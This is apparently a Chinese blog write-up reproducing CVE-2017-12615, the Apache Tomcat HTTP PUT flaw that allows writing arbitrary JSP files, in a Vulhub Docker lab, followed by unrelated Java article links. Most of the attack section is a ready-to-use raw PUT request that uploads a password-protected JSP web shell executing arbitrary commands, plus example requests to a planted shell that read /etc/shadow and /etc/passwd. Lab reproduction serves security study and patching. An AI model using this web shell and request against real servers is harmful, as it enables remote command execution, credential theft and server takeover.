【漏洞复现】Apache_Tomcat_PUT方法任意写文件(CVE-2017-12615)

感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规

文章目录

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat_PUT方法任意写文件
漏洞评级 高危
影响范围 Tomcat版本:8.5.19
漏洞描述 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
修复方案 设置readonly为true

1.1、漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限

1.2、漏洞等级

高危

1.3、影响版本

Tomcat版本:8.5.19

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/CVE-2017-12615


启动测试环境:

bash 复制代码
sudo docker-compose up -d

访问http://your-ip:8080/即可看到Tomcat的Example页面

2、漏洞扫描

nacs工具

nuclei工具

3、漏洞验证
工具扫描验证

通过nuclei工具扫出来的结果,验证漏洞存在

复制代码
http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fshadow
复制代码
http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
bash 复制代码
http://192.168.80.141:8080/poc.jsp?cmd=whoami
POC

用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)

python 复制代码
PUT /6.jsp/ HTTP/1.1
Host: 192.168.80.141:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 667

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
 
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

1.6、修复建议

设置readonly为true

相关推荐
SQL-First布道者7 分钟前
我为什么把 MyBatis 从项目中删了?
java·spring·tomcat·mybatis·mybatis plus·spring jdbc
公爵爱学习10 分钟前
无人机多点导航笔记
java·前端·笔记
萧瑟余晖41 分钟前
Java深入解析篇五十五之Unsafe 机制详解
java
kakawzw1 小时前
mybatis源码笔记1——JDBC和整体架构
java·mybatis
sunshine22 girl1 小时前
Java学习一 环境配置1 安装JDK,配置环境变量
java·开发语言·学习
秋饼1 小时前
Spring AI Session API 深度实战:从 ChatMemory 平滑迁移到事件溯源的企业级短期记忆
java·ai·技术分享·后端开发
QCodingDev1 小时前
Spring AI 2.0企业级RAG实战:引用校验、无依据拒答与知识治理怎么做?
java·人工智能·spring·ai
吴声子夜歌1 小时前
ApacheCommons——commons-math3(科学计算与线性代数)(一)
java·线性代数·算法·apache
砚底藏山河1 小时前
行情工程实战 M01|存储选型 CSVSQLiteMySQL
java·python·金融·maven
名字还没想好☜1 小时前
Java 用 LinkedHashMap 三行实现 LRU 缓存:accessOrder、removeEldestEntry 与线程安全
java·后端·安全·spring·缓存